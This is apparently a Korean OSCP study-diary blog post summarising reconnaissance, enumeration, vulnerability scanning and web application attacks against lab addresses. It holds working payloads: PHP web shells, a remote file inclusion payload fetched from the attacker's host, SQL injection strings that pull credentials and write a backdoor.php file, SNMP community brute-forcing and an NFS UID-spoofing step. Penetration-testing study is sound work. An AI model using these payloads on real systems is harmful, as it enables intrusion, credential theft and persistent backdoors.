누가 동영상을 7시간 반

분량이라고 하였는가?

 

 

오늘만 10시간 가까이 본듯하고

문서 350쪽까지 밖에 못 끝냈는데

 

 

내가 느린 건가?

 

 

아는 부분 건너뛰고

문서도 대충 훑어보면

가능할지 모르지만

 

 

제대로 하면 이게

삼일 안에 끝낼 수 있는

분량은 아닌 듯하다.

 

 

일단 닷새로 목표 수정.

쿨럭..

 

 

 

 


 

 

[목차]

 

 

1. Passive Information Gathering

2. Active Information Gathering

3. Vulnerability Scanning

4. WEB Application Attacks

 

 


 

 

 

1. Passive Information Gathering

 

- whois

- Google Hacking

- NetCraft

- Recon-NG

- Open-Source Code (github / gitlab / sourceFourge)

- Shodan

- Security Headers

- SSL Server Test (Qualys SSL Labs)

- Pastebin

- User Information Gathering (email harvesting / password dumps)

- Social Media Tools (Social-Searcher.com / digi-ninja)

- Stack Overflow

- Information Gathering Frameworks (osintFramework.comb / paterva.com(maltego))

 

 

 

 


 

 

 

2. Active Information Gathering

 

 

DNS Enumeration ($ host / $ dnsrecon / $ dnsenum)

 

 

Port Scanning

1) nc

TCP scan
$ nc -nvv -w 1 -z 10.10.10.10 3388-3390

UDP scan
$ nc -nv -u -z -w 1 10.10.10.10 160-162

 

2) Nmap

돌리기 전 iptables 룰 설정해 스캔 과정에서

얼마나 많은 트래픽이 발생하는지 확인해본다.

$ sudo iptables -I INPUT 1 -s 10.10.10.10 -j ACCEPT
$ sudo iptables -I OUTPUT 1 -d 10.10.10.10 -j ACCEPT
$ sudo iptables -Z

 

아무 옵션도 주지 않은 기본 nmap(default = 1000 ports) 돌려본 후 iptables 수행하면

$ sudo iptables -vn -L
Chain INPUT (policy ACCEPT 1528 packets, 226K bytes)
pkts bytes target prot opt in out source destination
1263 51264 ACCEPT all -- * * 10.10.10.10 0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 1323 packets, 191K bytes)
pkts bytes target prot opt in out source destination
1314 78300 ACCEPT all -- * * 0.0.0.0/0 10.10.10.10 

 

1000개 포트에 대해 78KB의 트래픽이 발생됨.

 

-z로 초기화 후 nmap으로 65235 포트 스캔해보고 살펴보면 4MB(4006K)의 트래픽이 발생,

때문에 적절한 옵션을 주어 과부하가 걸리지 않도록 해야 한다.

 

3) masscan

 

 

 

 

SMB Enumeration (139 / 445)

NetBIOS over TCP(NBT).

 

NetBios(TCP 포트 139)와 SMB(TCP 포트 445)

두 개의 별도의 프로토콜이다.

 

NetBIOS는

로컬 네트워크의 컴퓨터가 통신할 수 있도록 하는

독립적인 세션 계층 프로토콜 및 서비스.

 

최신 SMB는 NetBIOS 없이도 작동할 수 있지만

이전 버전과의 호환성을 위해 필요하며 종종 함께 사용된다.

 

1) nbtscan

$ sudo nbtscan -r 10.10.10.10

 

2. nmap

기본
$ nmap -v -p 139,445 -oG smb_result.txt 10.10.10.10

NSE 검색 후
$ ls -l /usr/share/nmap/scripts/smb*
사용
$ nmap -v -p 139,445 --script=smb-os-discovery 10.10.10.10

NSE 검색 후
$ ls -l /usr/share/nmap/scripts/smb-vuln-*
사용
$ nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 10.10.10.10

3) enum4linux

 

 

 

 

NFS enumeration (111 / 마운트 가능)

1) nmap

$ nmap -sV -p 111 --script=rpcinfo 10.10.10.10

NSE 검색 후
$ ls -l /usr/share/nmap/scripts/nfs&*
사용 (와일드카드 (*) 사용해 검색 결과로 나온 스크립트 모두 사용 가능)
$ nmap -p 111 --script nfs* 10.10.10.10

마운트 작업
$ mkdir mount
$ sudo mount -o nolock 10.10.10.10:/home ~/mount
$ cd mount/ && ls

들어가 파일 읽는데 권한이 없을 때
UUID 확인 후 로컬에서 동일한 UUID 유저를 만든 뒤 붙으면 됨.
$ useradd same
$ sudo sed -i -e 's/1001/1014/g' /etc/passwd        (-i replace the file in place)

 

 

 

 

 

 

SMTP Enumeration

 

$ nc -nv 10.10.10.10.25

> VRFY root
> 

 

 

vrfy.py

유저 이름 있나 검색하는 파이썬 스크립트

#!/usr/bin/python
import socket
import sys

if len(sys.argv) != 2:
    print "Usage: vrfy.py <username>"
    sys.exit(0)

# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the Server
connect = s.connect(('10.10.10.10',25))

# Receive the banner
banner = s.recv(1024)
print banner

# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result

# Close the socket
s.close()

 

 

 

 

 

SNMP Enumeration

UDP 기반이라 IP 스푸핑 공격에 취약

취약한 인증 체계를 가지고 있어

정보 및 자격 등을 쉽게 가로챌 수 있다.

 

1) nmap

$ sudo nmap -sU --open -p 161 10.10.10.10 -oG open-snmp-result.txt

 

 

2) onesixtyone

brute force community strings

$ cat > community << EOF
> public
> private
> manager
> EOF

$ for ip in $(seq 1 254); do echo 10.10.10.$ip; done > ips

$ onesixtyone -c community -i ips

 

3) snmpwalk

windows SNMP Enumeration

Enumerateing the Entire MIB(Management Information Base) tree

$ snmpwalk -c public -v1 -t 10 10.10.10.10

 

Enumerating Window Users

$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.4.1.77.1.2.25

 

Enumerating Windows Processes

$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2

 

Enumerating Open TCP Ports

$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.6.13.1.3

 

Enumerating Installed Software

$ snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2

 

 


 

 

3. Vulnerabulity Scanning

 

스캐너의 기본 동작 원리를 이해해야 하고

툴이 없는 경우 수동으로 하는 방법도 익혀둔다.

 

 

- Nessus

- nmap

NSE 검색

$ cd /usr/share/nmap/scripts

kali@kali:/usr/share/nmap/scripts$ head -n 5 script.db
Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "address-info.nse", categories = { "default", "safe", } }
Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln",
kali@kali:/usr/share/nmap/scripts$ cat script.db | grep '"vuln"\|"exploit"'
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln",
Entry { filename = "clamav-exec.nse", categories = { "exploit", "vuln", } }
Entry { filename = "distcc-cve2004-2687.nse", categories = { "exploit", "intrusive", "
Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "exploit", "intrusive",
Entry { filename = "ftp-vsftpd-backdoor.nse", categories = { "exploit", "intrusive", "
...

$ sudo nmap --script vuln 10.10.10.10

 

 

 


 

 

 

4. Web Application Attacks

 

 

 

1) WEB Application Assessment Tools

- Burp Suite

- dirb / dirbuster

$ dirb http://example.com -r -z 10       -r non-recursively / -z 10 밀리second 딜레이

 

- Nikto

$ nikto -host=http://takudaddy.com -maxtime=30s    (limit the scan duration)

- gobuster

 

 

 

 

2) Exploiting Web-bases Vulnerabilites

- phpmyadmin default credentails

- Cross-site-Scripting (XSS) : straling cookied and session info / content Injection /

- Directory Traversal Vulnurbulities

윈도우 호스트 파일 경로 
c:\windows\system32\drivers\etc\hosts

 

 

- File inclusion Vulnerabilities (LFI - Local File Inclusion / RFI - Remote file Inclusion)

// LFI 
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

LFI Code Execution
"http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts"

<?php
    $file = $_GET["file"];
    include $file; ?>

=============================================

// RFI
kali@kali:/var/www/html$ cat evil.txt
<?php echo shell_exec($_GET['cmd']); ?>
kali@kali:/var/www/html$ sudo systemctl restart apache2


http://10.10.10.10/menu.php?file=http://10.10.0.4/evil.txt


kali@kali:~$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.0.4] from (UNKNOWN) [10.10.10.10] 50324
GET /evil.txt HTTP/1.0
Host: 10.11.0.4
Connection: close


http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&cmd=ipconfig

 

 

- Expand Repertoire

http server 생성 방법 (create HTTP servers with arbitary ports)

$ python -m SimpleHTTPServer 7979
Serving HTTP on 0.0.0.0 port 7979 ...

$ python3 -m http.server 7979   (모듈 이름만 다름)
Serving HTTP on 0.0.0.0 port 7979 (http://0.0.0.0:7979) ...

둘 다 현재 작업중인 경로의 파일이나 디렉터리를 호스팅함

================================================

$ php -S 0.0.0.0:7979
PHP 7.3.8-1 Development Server started at Tue Apr 27 12:59:52 2021

================================================

$ ruby -run -e httpd . -p 7979

$ busybox httpd -f -p 10000

 

- PHP Wrappper

http://10.10.10.10/menu.php?file=data:text/plain,hello world

http://10.10.10.10/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>

 

 

 

3) SQL Injection

 

- Automating SQL Injection ($ sqlmap)

$ sqlmap -u http://10.10.10.10/debug.php?id=1 -p "whoami" --dbms=mysql --os=shell

 

 

- 명령어 샘플

SELECT * FROM users;
SELECT username FROM users WHERE id=1;

+----+------------+--------------+
| id | username | password |
+----+------------+--------------+
| 1 | tom.jones | notunusual |


정상
select * from users where name = 'tom' and password = 'jones';

공격구문
select * from users where name = 'tom' or 1=1;#' and password = 'jones';
select * from users where name = 'tom' or 1=1 LIMIT 1;#

 

 

 

- 수동으로 실험할 경우 Enumerating DB

1) Column Number Enum

http://10.10.10.10/debug.php?id=1 order by 1
http://10.10.10.10/debug.php?id=1 union all select 1, 2, 3


구문을 버프스위트 repeater로 돌린다

 

 

2) Extracting Data from DB

http://10.10.10.10/debug.php?id=1 union all select 1, 2, user()

http://10.10.10.10/debug.php?id=1 union all select 1, 2, table_name from
information_schema.tables

http://10.10.10.10/debug.php?id=1 union all select 1, 2, column_name from
information_schema.columns where table_name='users'

http://10.10.10.10/debug.php?id=1 union all select 1, username, password from users

 

3) sql Injection to Code Exectution

http://10.10.10.10/debug.php?id=1 union all select 1, 2,
load_file('C:/Windows/System32/drivers/etc/hosts')

http://10.10.10.10/debug.php?id=1 union all select 1, 2, "<?php echo
shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'

 

 

 

 

 

 

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP Day 5 : BOF2 (Linux)  (0) 2021.04.30
OSCP Day 4 : BOF (WIN32)  (0) 2021.04.29
OSCP Day 2 : Netcat / Socat / Powercat / TCPdump / Bash Scripting  (0) 2021.04.27
OSCP 코스 시작  (5) 2021.04.26
OSCP 공략 Cheatsheet (v.02)  (0) 2021.04.19

+ Recent posts